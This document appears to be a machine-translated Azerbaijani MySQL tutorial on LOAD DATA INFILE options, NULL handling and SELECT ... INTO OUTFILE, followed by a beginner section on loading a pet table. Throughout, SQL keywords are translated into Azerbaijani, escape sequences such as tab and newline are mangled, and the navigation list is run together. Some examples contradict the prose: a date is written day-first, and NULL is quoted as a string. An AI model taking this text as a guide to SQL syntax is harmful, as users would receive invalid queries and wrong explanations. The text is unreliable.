Əgər 3.23.24-dən əvvəl MySQL versiyanız varsa, siz FIFO-dan LOAD DATA INFILE bəyanatından istifadə edərək oxuya bilməyəcəksiniz. Əgər FIFO-dan (məsələn, gunzip çıxışı) oxumaq lazımdırsa, bunun əvəzinə LOAD DATA LOCAL INFILE-dən istifadə edin.
Fayl sistemində fayl axtararkən server aşağıdakı qaydaları rəhbər tutur:

  1. Əgər mütləq yol göstərilibsə, server ondan olduğu kimi istifadə edir.
  2. Bir və ya bir neçə aparıcı komponentdən ibarət nisbi yol verilirsə, server məlumat qovluğuna nisbətən faylları axtarır.
  3. Əgər aparıcı yol komponentləri olmayan fayl adı verilirsə, server faylı standart verilənlər bazası məlumat kataloqunda axtarır.

Nəzərə alın ki, bu qaydalar ./myfile.txt adlı faylın serverin məlumat kataloqundan, myfile,txt adlı fayl isə verilənlər bazasının standart məlumat kataloqundan oxunmasını nəzərdə tutur. Məsələn, aşağıdakı LOAD DATA INFILE bəyanatı data.txt faylını dbl verilənlər bazasının məlumat kataloqundan oxuyur, çünki dbl cari verilənlər bazasıdır, baxmayaraq ki, bəyanat db2 verilənlər bazasına məlumat yükləyir:
mysql> İSTİFADƏ dbl;
mysql> DATA INFILE "data.txt" CƏDVƏLƏ YÜKLƏYİN db2.my_table;
REPLACE və IGNORE açar sözləri mövcud unikal açarları dəyərinə görə təkrarlayan daxiletmə sətirlərinin idarə edilməsinə nəzarət edir.
DƏYİŞTİRİLMİŞ göstərilibsə, giriş sətirləri mövcud sətirləri əvəz edir (başqa sözlə, cədvəldəki mövcud sətirlərlə eyni əsas və ya unikal açar dəyərlərinə malik olan sətirlər). Sintaksisi DƏYİŞTİRİN
İQNORE təyin olunarsa, eyni əsas və ya unikal açar dəyərləri ilə mövcud sətirləri təkrarlayan giriş sətirləri nəzərə alınmır. Seçimlərdən heç biri göstərilməyibsə, davranış yerli açar sözün göstərilib-göstərilməməsindən asılıdır. LOCAL olmadıqda, dublikat açar tapıldıqda xəta yaranır və mətn faylının qalan hissəsi nəzərə alınmır. LOCAL varsa, defolt davranış IGNORE təyin edildiyi kimidir. Bunun səbəbi, bu əməliyyat davam edərkən serverin fayl ötürülməsini dayandıra bilməməsidir.
Əgər məlumat yükləmə əməliyyatı zamanı xarici açar məhdudiyyətlərinə məhəl qoymamaq istəyirsinizsə, LOAD DATA-nı işə salmazdan əvvəl SET FOREIGN_KEY_CHECKS=0 bəyanatı verə bilərsiniz.
Əgər siz boş MyISAM cədvəlində LOAD DATA-nı işlədirsinizsə, bütün qeyri-unikal indekslər ayrıca işdə yaradılır (TƏMİR CƏDVƏLİ üçün olduğu kimi). Bu, adətən çoxlu indekslər olduqda LOAD DATA-nın daha sürətli olması ilə nəticələnir. Bu, ümumiyyətlə, çox sürətlidir, lakin bəzi xüsusi hallarda siz indeksləri ALTER TABLE ilə söndürməklə daha sürətli yarada bilərsiniz.

faylı cədvələ yerləşdirmək, indeksləri yenidən yaratmaq və onları ALTER TABLE ilə aktivləşdirmək.
LOAD DATA INFILE SEÇİLƏNƏ əlavədir.. .INTO OUTFILE. Baxın SELECT Sintaksisi Cədvəldən fayla məlumat yazmaq üçün SELECT... INTO OUTFILE istifadə edin. Məlumatı fayldan cədvələ oxumaq üçün LOAD DATA INFILE-dən istifadə edin. FIELDS və LINES konstruksiyalarının sintaksisi hər iki ifadə üçün eynidir. Bu konstruksiyaların hər ikisi isteğe bağlıdır, lakin hər ikisi göstərilibsə, sahələr LINES-dən əvvəl olmalıdır.
SAHƏLƏR konstruksiyası göstərilibsə, ən azı bir parametrin mövcud olması tələbi istisna olmaqla, onun bütün parametrləri (TERMINATED BY, ECLOSED BY və ESCAPED BY) də isteğe bağlıdır.
FIELDS konstruksiyası göstərilməyibsə, defolt olaraq:
"tf" TARAFINDAN XİTAM EDİLMİŞ SAHƏLƏR "QAÇILDI"
LINES göstərilməyibsə, defolt olaraq:
"n! BAŞLAYAN" TARAFINDAN XİTAM OLAN SƏTİRLƏR
Başqa sözlə, girişi oxuyarkən LOAD DATA INFILE-in standart davranışı belədir:

  1. Sətirlərin əvvəlində sətir ayırıcıları axtarın.
  2. Heç bir sətir prefiksini atlamayın.
  3. Xətti tab simvolları ilə sahələrə bölün.
  4. Sahələrin sitat gətiriləcəyini gözləməyin.
  5. Nişan, yeni sətir və ya "\" hərfinin əvvəlində \ sahənin dəyərinin bir hissəsi olan hərfi simvol kimi şərh edin.

Əksinə, SELECT ... INTO OUTFILE defolt olaraq belə davranır:

  1. Sahələr arasında nişanlar yazır.
  2. Sahə dəyərlərini dırnaq işarələri ilə əhatə etmir.
  • Nişanları, yeni sətirləri və ya sahə dəyərlərində baş verən "\" işarələrini vurğulamaq üçün *" istifadə edir.
  • Sətirlərin sonunda yeni sətir simvolu yazır.
Qeyd edək ki, FIELDS ESCAPED BY "W yazmaq bir tərs kəsişməni oxumaq üçün lazım olan dəyərlər üçün iki əks kəsik tələb edəcək.
Bir qeyddə!
Əgər Windows sistemində mətn faylı yaratmısınızsa, faylı düzgün oxumaq üçün "rn TARAFINDAN SON EDİLƏN SƏTİRLƏRİ qeyd etməlisiniz, çünki Windows proqramları adətən bu iki simvoldan xətt ayırıcıları kimi istifadə edir. WordPad kimi bəzi proqramlar "r" simvolundan istifadə edə bilər. " sətir ayırıcı kimi Belə faylları oxumaq üçün "r" ilə SON VERİLMİŞ SƏTİRLƏRİ istifadə edin.
Oxunan faylın bütün sətirlərində göz ardı etmək istədiyiniz ümumi prefiks varsa, BAŞLAYAN SƏTİRLƏR "-dən istifadə edin. string_prefiks bu prefiksi keçmək üçün. Sətirdə prefiks yoxdursa, o, bütünlüklə atlanır.

İQNORE seçimi kəmiyyət LINES faylın əvvəlində verilmiş sətir sayına məhəl qoymamaq üçün istifadə olunur. Məsələn, sütun adlarını ehtiva edən aparıcı sətri keçmək üçün İQNORE I LINES-dən istifadə edə bilərsiniz:
mysql> MƏLUMAT INFILE YÜKLƏYİN "/tmp/test.txt" -> CƏDVƏLƏ İNTO sınayın 1 SƏTİRİ YOX EDİN;
Verilənlər bazasından fayla məlumat yazmaq və sonra onu oxuyub yenidən verilənlər bazasına yükləmək üçün LOAD DATA INFILE ilə birlikdə SELECT... INTO OUTFILE-dən istifadə etdikdə, hər iki ifadə üçün sıra və sahəyə nəzarət variantları uyğun olmalıdır. Əks halda, LOAD DATA INFILE mətn faylının məzmununu düzgün şərh edə bilməyəcək. Fərz edək ki, siz SELECT.. .INTO OUTFILE istifadə edərək, sahələri vergüllə ayıraraq mətn faylına verilənləri çıxarırsınız:
mysql> SEÇİN* OUTFILE INTO "data.txt" -> SON SAHƏLƏR," -> Cədvəl 2-DƏN;
Vergüllə ayrılmış faylı geri oxumaq üçün doğru şey etmək lazımdır:
mysql> MƏLUMAT INFILE "data.txt1 CƏDVƏL Cədvəl2 YÜKLƏYİN -> TƏRƏFİNDƏN SON VERİLƏN SAHƏLƏR
Əvəzində onu aşağıdakı ifadə ilə oxumağa çalışsanız, bu işləməyəcək, çünki LOAD DATA INFILE sahə dəyərləri arasında nişanlar axtaracaq:
mysql> DATA INFILE "data.txt" Cədvəl 2-ə YÜKLƏYİN -> "t" İLƏ SON VERİLƏN SAHƏLƏR;
Ən çox ehtimal olunan nəticə, giriş sətirini tək bir sahə kimi şərh etmək olardı.
LOAD DATA INFILE xarici mənbələrdən faylları oxumaq üçün də istifadə edilə bilər. Məsələn, faylda vergüllə ayrılmış və qoşa dırnaq içərisində olan sahələr ola bilər. Fayldakı sətirlər yeni sətir simvolu ilə ayrılırsa, aşağıdakı nümunə faylı yükləmək üçün hansı sətir və sütun ayırıcı seçimlərinin təyin edilməli olduğunu göstərir:
mysql> DATA INFILE "data.txt" CƏDVƏLƏ YÜKLƏYİNmasa_adı-> 1,1 İLƏ BAĞLANAN SAHƏLƏR "" İLƏ BAĞLI -> XATLAR"n";
Satır və sütun ayırıcılarını təyin edən istənilən seçimlərə arqument kimi boş sətirlər ("") verilə bilər. Əgər arqumentlər boş sətirlər deyilsə, onda BY İLƏ QALANAN SAHƏLƏR VƏ TARAFINDAN QAÇILAN SAHƏLƏR ÜÇÜN dəyərlər TƏK XARAKTERLİ OPSİYONLAR MIN SAHƏLƏRİ OLMALIDIR. OPSİYONLAR ARqumentlər BY, BAŞLAYAN SƏTİRLƏR və SON VERİLƏN SƏTİRLƏR birdən çox simvol uzunluğunda ola bilər. Məsələn, daşıma qaytarmaları/sətir lentləri ilə ayrılmış sətirləri yazmaq və ya belə sətirləri ehtiva edən faylları oxumaq üçün "rn" ilə SON VERİLƏN SƏTİRLƏRDƏN istifadə edin.
%% simvollu sətirlərlə ayrılmış faylı oxumaq üçün aşağıdakıları edə bilərsiniz:
mysql> CƏDVƏL zarafatları YARATIN
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY AÇAR, -> zarafat mətni NULL DEYİL);

mysql> MƏLUMAT INFILE "/tmp/jokes,txf YÜKLƏYİN CƏDVƏL zarafatları -> "" İLƏ SON VERİLƏN SAHƏLƏR -> "\n%%\n" İLƏ SON VERİLƏN SƏTİRLƏR (zarafat);
TARAFINDAN QAPALI SAHƏLƏR Sahə ayırıcılarını idarə edir (dırnaq işarələri). Çıxışda (SEÇ ... INTO OUTFILE) sözünü İSTƏYƏN OLARAQ tərk etsəniz, bütün sahələr ENCLOSED BY-də göstərilən simvolla əhatə olunacaq. Belə çıxışın nümunəsi (sahə ayırıcısı kimi vergüldən istifadə etməklə) aşağıda göstərilmişdir:
"1", "sətir", "100.20"
"2"," , vergüldən ibarət sətir","102.20"
"3","\" sitatdan ibarət sətir","102.20"
"4","\", sitat və vergüldən ibarət sətir","102.20"
İSTƏNİLƏNƏN olaraq təyin etsəniz, ƏLAVƏ EDİLMİŞ simvolu yalnız CHAR və VARCHAR sahələrinə sitat gətirmək üçün tətbiq edilir:
1, "sətir", 100.20
3,"\"sitatı ehtiva edən sətir",102.20
4, "tərkibində \", sitat və vergül olan sətir",102.20
Qeyd edək ki, ENCLOSED BY-də göstərilən simvolun sahə dəyəri daxilində baş verməsindən əvvəl ESCAPED BY-də göstərilən simvol gəlir. Həmçinin, ESCAPED BY üçün boş dəyər göstərsəniz, LOAD DATA INFILE-nin düzgün yüklənə bilməyəcəyi faylın yaradılması mümkündür.
Məsələn, ləğv simvolu boş qalırsa, yuxarıdakı çıxış aşağıdakı kimi görünəcəkdir. Dördüncü sətirdəki ikinci sahədə vergül və ardınca dırnaq işarəsi olduğunu görmək asandır ki, bu (səhvən) sahə ayırıcıya bənzəyir.
1, "sətir", 100.20
2,"bir , vergül ehtiva edən sətir",102.20
3,""sitat" ehtiva edən sətir",102.20
4, "tərkibində ", sitat və vergüldən ibarət sətir",102.20
Daxil olduqda, ECLOSED BY simvolu, əgər varsa, sahə dəyərinin sonundan silinir. (OPTIONALY sözünün göstərilib-göstərilməməsindən asılı olmayaraq bu doğrudur. Bu sözün girişin təfsirinə heç bir təsiri yoxdur.) ESCAPED BY simvolundan əvvəl ESCAPED BY simvollarının baş verməsi sahənin cari dəyərinin bir hissəsi kimi şərh olunur.
Sahə ƏLAVƏ EDİLMİŞ BY simvolu ilə başlayırsa, həmin simvolun nümunələri yalnız ardınca TERMINATED BY sahəsi və ya ardıcıllıqla gələrsə, sahənin dəyərini bitirən kimi şərh olunur. Sahə dəyəri daxilində EKLOSED BY simvolu görünəndə qeyri-müəyyənliyin qarşısını almaq üçün həmin simvol təkrarlana bilər və simvolun tək nümunəsi kimi şərh ediləcək. Məsələn, ƏLAVƏ EDİLMİŞ "" göstərilibsə, dırnaqlar aşağıdakı kimi idarə olunur:
""BÖYÜK"" patron" -> "BÖYÜK" patron "BÖYÜK" patron -> "BÖYÜK" patron ""BÖYÜK"" patron -> ""BÖYÜK"" patron
FELDS ESCAPED BY xüsusi simvolların oxunmasına və ya yazılmasına nəzarət edir. FIELDS ESCAPED BY arqumenti boş deyilsə, o, çıxışda aşağıdakı simvollar üçün prefiks kimi istifadə olunur:

  1. Xarakter TARAFINDAN QAÇILAN SAHƏLƏR.
  2. Xarakterlə qapalı sahələr.
  3. SAHƏLƏRİN BİRİNCİ SÖZLƏRİ VƏ ardıcıllıqla XİTAMLANAN SƏTİRLƏR.
  4. ASCII 0 (boş bayt deyil, ləğv simvolundan sonra ASCII "0" kimi yazılır).

FIELDS ESCAPED BY simvolu boşdursa, heç bir simvoldan əvvəl qaçış simvolları yoxdur və NULL \N deyil, NULL kimi çıxarılır. Xüsusən də məlumat sahəsinin dəyərləri qeyd olunan simvollardan hər hansı birini ehtiva edirsə, arqumenti boş qoymaq yəqin ki, yaxşı fikir deyil.
Daxil edildikdə, FELDS ESCAPED BY boş deyilsə, bu simvol dəyər sətirində görünəndə silinir və ondan sonrakı simvol hərfi mənada sahə dəyərinin bir hissəsi kimi oxunur. İstisnalar "0" və ya "N"dir (SYS-PAGE-CONTENT və ya \N əgər "\" qaçış simvoludursa). Bu ardıcıllıqlar müvafiq olaraq ASCII NUL (sıfır bayt) və NULL kimi şərh olunur. NULL ilə işləmə qaydaları bu bölmədə daha sonra təsvir edilmişdir.
"\" ləğv sintaksisi haqqında ətraflı məlumatı Hərfi Dəyərlər bölməsində tapa bilərsiniz
Bəzi hallarda sahələri və cərgələri idarə edən seçimlər bir-biri ilə qarşılıqlı əlaqədə olur:

  1. TƏRƏFİNƏ EDİLƏN SƏTİRLƏR üçün boş sətir göstərilibsə və TƏRƏFİNDƏN SON VERİLƏN SAHƏLƏR boş deyilsə, o zaman TERMINATED BY SƏTİRLƏR də sətir ayırıcı rolunu oynayır.
  2. ƏGƏR SON VERİLƏN SAHƏLƏR VƏ TƏRƏFİNDƏN BAĞLANAN SAHƏLƏR hər ikisi boşdursa, sabit sətir formatı (ayrıcılar yoxdur) istifadə olunur. Bu format sahələr arasında heç bir ayırıcıdan istifadə etmir (lakin sizdə xətt ayırıcı ola bilər). Bunun əvəzinə, sütun dəyərləri sütunun ekran genişliyindən istifadə edərək yazılır və oxunur. Məsələn, bir sütun INT(7) kimi elan edilirsə, sütunun dəyərləri yeddi simvollu sahəyə yazılır. Siz yazarkən, sütun dəyərləri yeddi simvol oxumaqla əldə edilir.

LINES TERMINATED BY hələ də sətirləri ayırmaq üçün istifadə olunur. Əgər sətirdə bütün sahələr yoxdursa, qalan sütunlar öz standart dəyərlərinə təyin edilir. Sətir terminatorunuz yoxdursa, onun dəyəri 1"-ə ​​təyin edilməlidir. Bu halda, mətn faylı hər bir sətirdəki bütün sahələri ehtiva etməlidir. Sabit xətt uzunluğu formatı aşağıda təsvir olunduğu kimi NULL dəyərlərinə də aiddir. Qeyd edək ki, çox baytlıq simvol dəsti istifadə edilərsə (məsələn, Unicode) sabit xətt formatının uzunluğu işləmir.
NULL dəyərlərinin idarə edilməsi istifadə olunan FIELDS və LINES seçimlərindən asılı olaraq dəyişir:

  1. Defolt FIELDS və LINES dəyərlərində NULL çıxışda \N kimi sahə dəyəri kimi yazılır və eyni \N dəyəri girişdə NULL kimi oxunur (ESCAPED BY simvolunun "\" olaraq təyin edildiyini nəzərə alaraq)-
  2. Əgər FIELDS ECLOSED BY boş deyilsə, onda NULL hərfi sözünü ehtiva edən sahə NULL dəyəri kimi oxunur. Bu, NULL sözünün simvollar TARAFINDAN ƏLAVƏ EDİLƏN SAHƏLƏRlə məhdudlaşdığı, dəyərin "NULL" sətri kimi oxunduğu halda fərqlidir.
  3. FIELDS ESCAPED BY boşdursa, NULL NULL sözü kimi yazılır.
  • Sabit sətir formatı ilə (bu, həm TƏRƏFİNDƏN SON OLAN SAHƏLƏR, həm də ƏLAQƏ OLAN SAHƏLƏR boş olduqda baş verir) NULL boş sətir kimi yazılır. Qeyd edək ki, bu, NULL dəyərlərinin və cədvəldəki boş sətirlərin fayla yazıldığı zaman fərqedilməz olmasına səbəb olur, çünki hər ikisi null sətirlər yazır. Əgər ikisini bir-birindən ayırmaq lazımdırsa, sabit xətt uzunluğu formatından istifadə etməyin.
    LOAD DATA INFILE tərəfindən dəstəklənməyən bəzi hallar aşağıda verilmişdir:
    1. MƏTN və ya BLOB tipli sütunlar olduqda sabit UZUNLUQLU sətirlər (SON VERİLƏN SAHƏLƏR VƏ ƏLAVƏ OLAN SAHƏLƏR nyc-dir).
    2. Başqasının prefiksi ilə uyğun gələn ayırıcı təyin etsəniz, LOAD DATA INFILE giriş axınını düzgün şərh edə bilməz. Məsələn, aşağıdakı seçim problemlərə səbəb olacaq:

    ""QAPALI"" TARAFINDAN XİTAM EDİLDİ SAHƏLƏR

    • SAHƏLƏRİNDƏN ESCAPED BY boşdursa, TARAFINDAN QALANAN SAHƏLƏR VƏ YA SONLANDIRILMIŞ SƏTİRLƏR və ardınca SON VERİLƏN SƏTİR simvollarını ehtiva edən sahə dəyərləri LOAD DATA INFILE-nin faylı və ya sətri oxumağı çox tez dayandırmasına səbəb olacaq. Bu baş verəcək, çünki LOAD DATA INFILE sahə və ya sıra dəyərinin harada bitdiyini düzgün müəyyən edə bilmir. Aşağıdakı nümunə persondata cədvəlinin bütün sütunlarını yükləyir: mysql> MƏLUMAT INFILE "persondata.txt" CƏDVƏL şəxsi məlumatını YÜKLƏYİN;
      Defolt olaraq, LOAD DATA INFILE ifadəsinin sonunda heç bir sütun siyahısı verilmirsə, giriş sətirində cədvəlin hər bir sütunu üçün sahələrin olması gözlənilir. Yalnız bəzi cədvəl sütunlarını yükləmək istəyirsinizsə, sütunların siyahısını göstərin:
      mysql> DATA INFILE YÜKLƏ "persondata.txt1
      -> INTO TABLE şəxsi məlumat(coll, col2,...);
      Daxiletmə faylındakı sahələrin sırası cədvəldəki sütunların sırasından fərqli olarsa, siz sütunların siyahısını da göstərməlisiniz. Əks halda, MySQL giriş sahələrini cədvəl sütunlarına uyğunlaşdıra bilməyəcək.
      Daxiletmə faylında hər sətirdə çox az sahə varsa, çatışmayan sütunlara standart dəyərlər təyin ediləcək. Standart dəyərlərin təyin edilməsi CREATE TABLE Sintaksis bölməsində təsvir edilmişdir.
      Boş sahə dəyərləri çatışmayanlardan fərqli şərh olunur:
      1. Sətir növləri üçün sütuna boş sətir təyin edilir.
      2. Rəqəm növləri üçün sütuna 0 təyin edilir.
      3. Tarix və vaxt növləri üçün - sütun müvafiq tipə təyin edilir
        "null" dəyəri. Tarix və Saat növlərinə baxın

      Bunlar INSERT və ya UPDATE bəyanatında bu tip sütunlara açıq şəkildə boş sətir təyin edilməsi nəticəsində yaranan eyni dəyərlərdir.
      TIMESTAMP sütun dəyərləri yalnız NULL (yəni \N) olaraq təyin olunduqda və ya sahə siyahısı verilmişsə, sahə siyahısından bu tip sütun çıxarıldıqda cari tarix və vaxta təyin edilir.

      LOAD DATA INFILE bütün daxiletmələrə sətir kimi baxır, ona görə də INSERT ifadələrində icazə verildiyi kimi siz ENUM və ya SET sütunları üçün rəqəmli dəyərlərdən istifadə edə bilməzsiniz. Bütün ENUM və ya SET dəyərləri sətir kimi göstərilməlidir!
      LOAD DATA INFILE ifadəsi tamamlandıqda o, aşağıdakı formatda məlumat sətrini qaytarır:
      Qeydlər: Silindim: 0 Keçildi: 0 Xəbərdarlıq: O
      Əgər siz C API ilə işləyirsinizsə, mysql_info() funksiyasına zəng edərək bu ifadə haqqında məlumat əldə edə bilərsiniz.
      Müəyyən şərtlər altında görünən xəbərdarlıqlar INSERT ifadəsi ilə dəyərlər daxil edərkən eynidir (bax bölmə 6.1.4), istisna olmaqla, LOAD DATA INFILE həmçinin giriş faylında çox az və ya çox az olduğuna dair xəbərdarlıqlar yaradır. çoxlu sahələr. Xəbərdarlıqlar heç bir yerdə saxlanmır, xəbərdarlıqların sayı yalnız hər şeyin yaxşı getdiyinin göstəricisi kimi istifadə edilə bilər.
      MySQL 4.1.1-dən başlayaraq, siz ilk max_error_count xəbərdarlıqlarını məlumat kimi sadalamaq üçün XƏBƏRDARLIQLARI GÖSTƏRƏNDƏN istifadə edə bilərsiniz. yükləmə səhv getdi. XƏBƏRDARLIQLARI GÖSTƏRİN Sintaksisinə baxın
      MySQL 4.1.1-dən əvvəl yalnız xəbərdarlıqların sayı yükün düzgün işləməməsinin göstəricisi idi. Xəbərdarlıq alsanız və bunun nə üçün baş verdiyini dəqiq bilmək istəyirsinizsə, bunun yeganə yolu SELECT.. .INTO OUTFILE-dən istifadə etməkdir ki, cədvəl zibilini başqa fayla atıb onu orijinal daxiletmə faylı ilə müqayisə edin.

Dərslikdə naviqasiya: 1.1 MySQL nədir? 1.2 Niyə MySQL istifadə etməlisiniz? 1.3 MySQL nə qədər sabitdir? 1.4 MySQL cədvəlləri nə qədər böyük ola bilər? 1.5 MySQL, MySQL AB, MySQL-MAX: bu nədir? 1.6 MySQL hansı əməliyyat sistemlərində işləyir? 1.7 MySQL paylamaları 1.8 MySQL komanda xəttinin göstərişləri 2.1 MySQL-ə giriş 2.2 MySQL serverinə qoşulma 2.3 MySQL-də sorğuların daxil edilməsi 2.4 Verilənlər bazalarının yaradılması və istifadəsi 2.5 MySQL verilənlər bazasının yaradılması 2.6 MySQL verilənlər bazasının yaradılması 2.6 MySQL cədvəlindən bütün verilənlərin seçilməsi a2. MySQL cədvəli 2.9 MySQL cədvəlindən xüsusi sətirlərin seçilməsi 2.10 MySQL cədvəlindən ixtiyari sütunların seçilməsi 2.11 MySQL cədvəlindən sətirlərin çeşidlənməsi 2.12 MySQL cədvəlində tarixlərin hesablanması 2.13 MySQL cədvəlində NULL qiymətlərlə iş 2.14 Pattern uyğunluğu. SQL şablonları. 2.15 SQL şablonlarında sətirlərin sayılması. COUNT() funksiyası 2.16 Bir SQL sorğusunda bir neçə cədvəldən istifadə 2.17 MySQL verilənlər bazası və cədvəlləri haqqında məlumat əldə etmək 2.18 MySQL-də ümumi sorğuların nümunələri 2.19 MySQL sütunu üçün maksimum dəyər 2.20 MySQL-in müəyyən sütununun maksimumunu hansı sətirdə saxlayır Maxim 2.21 sütunu. MySQL qrupunda 2.22 B hansı MySQL sırası qrup üzrə maksimum dəyərdir? 2.23 MySQL-də istifadəçi dəyişənlərindən istifadə 2.24 MySQL müştərisindən toplu rejimdə istifadə 3.1 MySQL-də sətirlər 3.2 MySQL-də rəqəmlər. MySQL-də nömrələri necə yazmaq olar? 3.3 MySQL-də onaltılıq dəyərlər 3.4 MySQL-də NULL dəyərlər 3.5 MySQL-də verilənlər bazası, cədvəl, indeks, sütun və ləqəb adları 3.6 MySQL adlarında reqs həssaslığı 3.7 MySQL-də istifadəçi dəyişənləri 3.8 MySQSL verilənlər bazasında şərhlər MySQSL3d.1. artıqlıq 4.2 MySQL YAXŞI CƏDVƏLİ sintaksisi 4.3 MySQL RESTORE TABLE sintaksisi 4.4 MySQL CHECK TABLE sintaksisi 4.5 MySQL REPAIR TABLE sintaksisi 4.6 MySQL OPTIMIZE TABLE TABLE syntax MySQL TABLE TABLE syntax MySQL4. LUSH sintaksisi 4.9 MySQL KILL sintaksisi 4.10 MySQL-də SHOW sintaksisi 4.11 MySQL SHOW TABLE STATUS sintaksisi 4.12 MySQL GÖSTER STATUS sintaksisi 4.13 MySQL 4.14 DƏYƏNİŞLƏRİ GÖSTER sintaksisi 4.14 back_log 4.15 simvollar dəsti, simvollar_dəstləri, paralel_daxiletmələr 4.16 qoşulma_zamanı, gecikmə_key_yazma, gecikmə_müddəti_4. _size , flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size , key_buffer_size 4. 20 dil, log_bin, long_query_time 4.21 kiçik_rəf_cədvəl_adları, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_connect, max_connect, max_connect_threads .24 max_tmp_cədvəl, max_write_lock_count, myisam_sort_ buffer_size 4.25 muisam_max_extra_sort_sort_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_lock_count, net_read_film, net_read_timeout2. , port, rekord_bufer 4.28 protocol_version , record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 yuvası, sort_buffer, skip_show_databases 4.31_thread_cachet_size My thread_cachet2. PROCESSLIST sintaksisini GÖSTER 4.33 MySQL GRANTLARI GÖSTƏR sintaksisi 4.34 MySQL-də CƏDVƏL YARATMA sintaksisini GÖSTƏR 4.35 My.cnf Seçimləri MySQL-də Fayl 5.1 Sütun MySQL-də Növlər 5.2 MySQL-də Rəqəm Tipləri 5.3 MySQL-də Tarix və Saat Tipləri 5.4 Y2K (2000) MySQL-də Problem və Tarix Tipləri 5.5 MySQL-də DATETIME, DATE və TIMESTAMP Tipləri MySQL-də 5.6 TIME MySQL-də Növlər MySQL-də Tip5.Y2K5. və MySQL-də VARCHAR 5.9 BLOB və MySQL-də TEXT sətir növləri 5.10 MySQL ENUM sətir növü 5.11 MySQL SET sətir növü 5.12 MySQL sütunu üçün düzgün növün seçilməsi 5.13 MySQL üçün digər RDBMS-dən sütun növlərindən istifadə MySQL 5.14SQL üçün Funksiya tələbləri16. SELECT-də MySQL və WHERE 6.2 MySQL-də Tipsiz Mötərizədə Operator 6.3 MySQL-də Tipsiz Müqayisə Operatoru 6.4 MySQL-də Məntiqi Operatorlar 6.5 MySQL-də Şöbə Funksiyaları 6.6 MySQL-də Simli Funksiyalar

Cədvəl yaratdıqdan sonra onu verilənlərlə doldurmalısınız. Təlimatlar və INSERT bunun üçün faydalıdır. Necə işləyirlər, bir az sonra danışacağıq, amma indi cədvələ daxil edilməli olan məlumatlar haqqında düşünək. Onlar tam olaraq necə görünürlər?

Tutaq ki, heyvan qeydləriniz aşağıda göstərildiyi kimi təsvir edilə bilər. Qeyd edək ki, MySQL tarixləri il-ay-gün formatında gözləyir, bu, alışdığınızdan fərqli ola bilər. İl ən yaxşı şəkildə 4 rəqəm kimi daxil edilir. MySQL iki rəqəmli il dəyərlərini düzgün idarə etmək üçün kifayət qədər mürəkkəb bir alqoritmə malikdir, lakin bunu hələ başa düşməyə ehtiyac yoxdur, ona görə də məlumatları birmənalı şəkildə daxil edək. Nümunəmiz üçün bütün heyvan məlumatları Cədvəl 2.2-də göstərilmişdir:

Cədvəl 2.2. Heyvan məlumatları

ad sahibi növlər seks doğum ölüm
Tüklü Harold pişik f 1993-02-04
Tüklü Harold pişik f 1993-02-04
Pəncələr Gwen pişik m 1994-03-17
Buffy Harold it f 1989-05-13
Fang Benny it m 1990-08-27
bowser Diane it m 1989-08-31 1995-07-29
Cırıldayan Gwen quş f 1998-09-11
Whistler Gwen quş 1997-12-09
İncə Benny ilan m 1996-04-29

Boş cədvəllə başladığınız üçün onu doldurmağın ən asan yolu heyvanlarınızın hər biri üçün sətirdən ibarət mətn faylı yaratmaq və sonra faylın məzmununu yalnız bir təlimatla cədvələ yükləməkdir.

Siz CREATE TABLE bəyanatında sütunların sadalandığı ardıcıllıqla nişan dayanacaqları ilə ayrılmış dəyərlərlə hər sətirdə bir qeyddən ibarət pet.txt mətn faylı yarada bilərsiniz. Çatışmayan dəyərlər üçün (məsələn, naməlum cinsiyyət və ya hələ də yaşayan heyvanların ölüm tarixləri) NULL dəyərlərindən istifadə edə bilərsiniz. Onları mətn faylında təqdim etmək üçün etiketdən istifadə edin. Məsələn, Whistler quşu haqqında bir giriş belə bir şeyə bənzəyir (boşluq olan bir nişanı qeyd etdim):

Whistler Gwen Birdie 1997-12-09

Serverdə deyil, yerli kompüterdə (müştəri) yerləşən pet.txt mətn faylından verilənləri pet cədvəlinə yükləmək üçün LOAD DATA əmrindən istifadə edin:

Mysql> DATA YERLİ INFILE "pet.txt" CƏDVƏL petinə YÜKLƏYİN;

Açar sözlər aşağıdakı mənaya malikdir. INFILE verilənləri oxumaq üçün faylın adı olan sətri müəyyən edir. Ad sətir olduğu üçün dırnaqlar içərisindədir, əks halda MySQL onu rəqəmsal ifadə kimi qiymətləndirməyə çalışacaq. YERLİ faylın serverdə deyil, müştəri sistemində axtarılmalı olduğunu müəyyən edir. CƏDVƏLƏ adı TABLE sözündən dərhal sonra (boşluqla ayrılmış) göstərilən cədvələ verilənləri yükləməyi əmr edir.

İsterseniz, sütun dəyəri ayırıcısını və sətir sonu markerini açıq şəkildə ifadədə göstərə bilərsiniz, lakin standart dəyərlər yalnız nişanlar və yeni sətirlərdir. Onlar pet.txt faylını düzgün oxumaq üçün kifayətdir və indi daha çoxuna ehtiyacınız yoxdur.

Yeni qeydləri bir-bir əlavə etmək istədiyiniz zaman təlimat faydalıdır INSERT. Ən sadə formada, hər bir sütun üçün dəyərləri CREATE TABLE ifadəsində sütunların sıralandığı ardıcıllıqla təqdim edirsiniz. Tutaq ki, Diane hədiyyə olaraq yeni Puffball hamsteri alıb. INSERT ifadəsindən istifadə edərək yeni bir giriş əlavə edə bilərsiniz, buna bənzər bir şey:

MySQL> İNSERT INTO pet
-> DƏYƏRLƏR ("Puffball","Diane","hamster","f","30-03-1999","NULL");

Buradakı açar sözlər də xüsusilə çətin deyil. INTO pet hansı masanın daxil ediləcəyini müəyyənləşdirir. DƏYƏRLƏR cədvəldə yeni bir giriş üçün daxil ediləcək dəyərlərin siyahısını müəyyən edir. Dəyərlər vergüllə ayrılmış siyahıya alınmışdır və hamısı birlikdə mötərizədə götürülür.

Qeyd edək ki, sətirlər və tarix dəyəri sətirlər kimi müəyyən edilir. Dəyərin yoxluğunu göstərmək üçün birbaşa NULL (sətir kimi deyil) daxil edə bilərsiniz.

Bu nümunədən görə bilərsiniz ki, birbaşa cədvələ yükləmək üçün kifayət qədər çox yazmaq lazımdır. Təlimatlar çox vaxta qənaət etdi.

